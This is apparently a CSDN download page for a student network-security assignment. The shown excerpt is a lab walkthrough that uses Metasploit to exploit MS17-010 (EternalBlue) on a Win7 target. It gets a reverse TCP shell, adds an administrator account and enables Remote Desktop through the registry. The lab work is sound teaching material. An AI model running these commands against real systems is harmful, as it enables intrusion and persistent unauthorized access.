没有合适的资源?快使用搜索试试~ 我知道了~
首页袁孝健:网络安全基础与IIS漏洞分析
袁孝健:网络安全基础与IIS漏洞分析
需积分: 0 0 下载量 27 浏览量
更新于2024-07-01
收藏 9.76MB PDF 举报
袁孝健的网络安全作业包含了关于信息安全基础训练和漏洞利用技巧的内容。首先,作业要求学生通过MSF工具进行信息收集,比如使用Google和Baidu搜索国内外知名高校的信息安全和网络空间安全专业培养方案,对比分析并提出个人建议。这涉及到网络信息搜索、情报分析和专业比较。 接着,作业涉及微软IIS服务器的安全漏洞,特别是Unicode字符解码漏洞,这一部分强调了实际的漏洞挖掘和理解,让学生查阅相关资料,整理出关于URL编码、ASCII编码、Unicode编码以及Base64编码的深入解析。这部分内容涵盖了: 1. 统一资源标识符(URI):它是互联网资源的通用地址,由URL(位置型)和URN(名称型)组成。URI的字符分为保留和未保留两类,保留字符如斜线和百分号需要特殊编码,如编码斜线为"%2F",空格为"%20",尖括号和引号为"%3C%3E%22"。 2. URI编码:这是为了防止在传输过程中出现误解或破坏,对保留字符进行转义,例如百分号编码本身就需要编码为"%25"。学生需要掌握不同字符的正确编码格式。 3. 编码规则:根据RFC3986标准,某些字符需要百分号编码,如特殊符号、空白和非字母数字字符。理解这些规则对于正确处理URL至关重要。 4. Unicode编码:在这个部分,学生可能会研究不同编码方式之间的转换及其在IIS漏洞中的影响,比如Unicode编码可能导致用户输入被恶意利用。 通过这个作业,学生不仅掌握了基本的编码技术和信息安全理论,还锻炼了漏洞分析和防御的能力,提升了实际操作中的安全意识。
资源详情
资源推荐
![](https://csdnimg.cn/release/download_crawler_static/86276246/bg7.jpg)
3、搜索一下ms17-010的exp如下,第一个为扫描模块,第二个为利用模块。
4、使用ms17-010扫描模块,对靶机Win7进行扫描:
使用该模块并设置RHOST为攻击机IP,并用 exploit 命令开始,可以看到存在漏洞。
5、使用ms17-010渗透模块,对靶机Win7进行渗透,直接使用默认payload
选择payload:
设置好后下面命令开始攻击:
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.217.133
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit
msf5 auxiliary(scanner/smb/smb_ms17_010) > use
exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.217.133
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/shell/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.217.129
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
![](https://csdnimg.cn/release/download_crawler_static/86276246/bg8.jpg)
成功连接上shell
6、进一步控制靶机
先将cmd编码格式改为utf8:
利用shell添加账号(test/123456)并添加到管理组 :
开启远程桌面功能:
C:\Windows\system32>chcp 65001
C:\Windows\system32>net user test 123456 /add
C:\Windows\system32>net localgroup administrators test /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v
fDenyTSConnections /t REG_DWORD /d 0 /f
剩余35页未读,继续阅读
![pdf](https://img-home.csdnimg.cn/images/20210720083512.png)
![doc](https://img-home.csdnimg.cn/images/20210720083327.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://csdnimg.cn/download_wenku/file_type_ask_c1.png)
![](https://profile-avatar.csdnimg.cn/4444e8234b2a4461a83da43bddbf3f6c_weixin_35815640.jpg!1)
小明斗
- 粉丝: 34
- 资源: 329
上传资源 快速赚钱
我的内容管理 展开
我的资源 快来上传第一个资源
我的收益
登录查看自己的收益我的积分 登录查看自己的积分
我的C币 登录后查看C币余额
我的收藏
我的下载
下载帮助
![](https://csdnimg.cn/release/wenkucmsfe/public/img/voice.245cc511.png)
最新资源
- 多模态联合稀疏表示在视频目标跟踪中的应用
- Kubernetes资源管控与Gardener开源软件实践解析
- MPI集群监控与负载平衡策略
- 自动化PHP安全漏洞检测:静态代码分析与数据流方法
- 青苔数据CEO程永:技术生态与阿里云开放创新
- 制造业转型: HyperX引领企业上云策略
- 赵维五分享:航空工业电子采购上云实战与运维策略
- 单片机控制的LED点阵显示屏设计及其实现
- 驻云科技李俊涛:AI驱动的云上服务新趋势与挑战
- 6LoWPAN物联网边界路由器:设计与实现
- 猩便利工程师仲小玉:Terraform云资源管理最佳实践与团队协作
- 类差分度改进的互信息特征选择提升文本分类性能
- VERITAS与阿里云合作的混合云转型与数据保护方案
- 云制造中的生产线仿真模型设计与虚拟化研究
- 汪洋在PostgresChina2018分享:高可用 PostgreSQL 工具与架构设计
- 2018 PostgresChina大会:阿里云时空引擎Ganos在PostgreSQL中的创新应用与多模型存储
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
![](https://img-home.csdnimg.cn/images/20220527035711.png)
![](https://img-home.csdnimg.cn/images/20220527035711.png)
![](https://img-home.csdnimg.cn/images/20220527035111.png)
安全验证
文档复制为VIP权益,开通VIP直接复制
![](https://csdnimg.cn/release/wenkucmsfe/public/img/green-success.6a4acb44.png)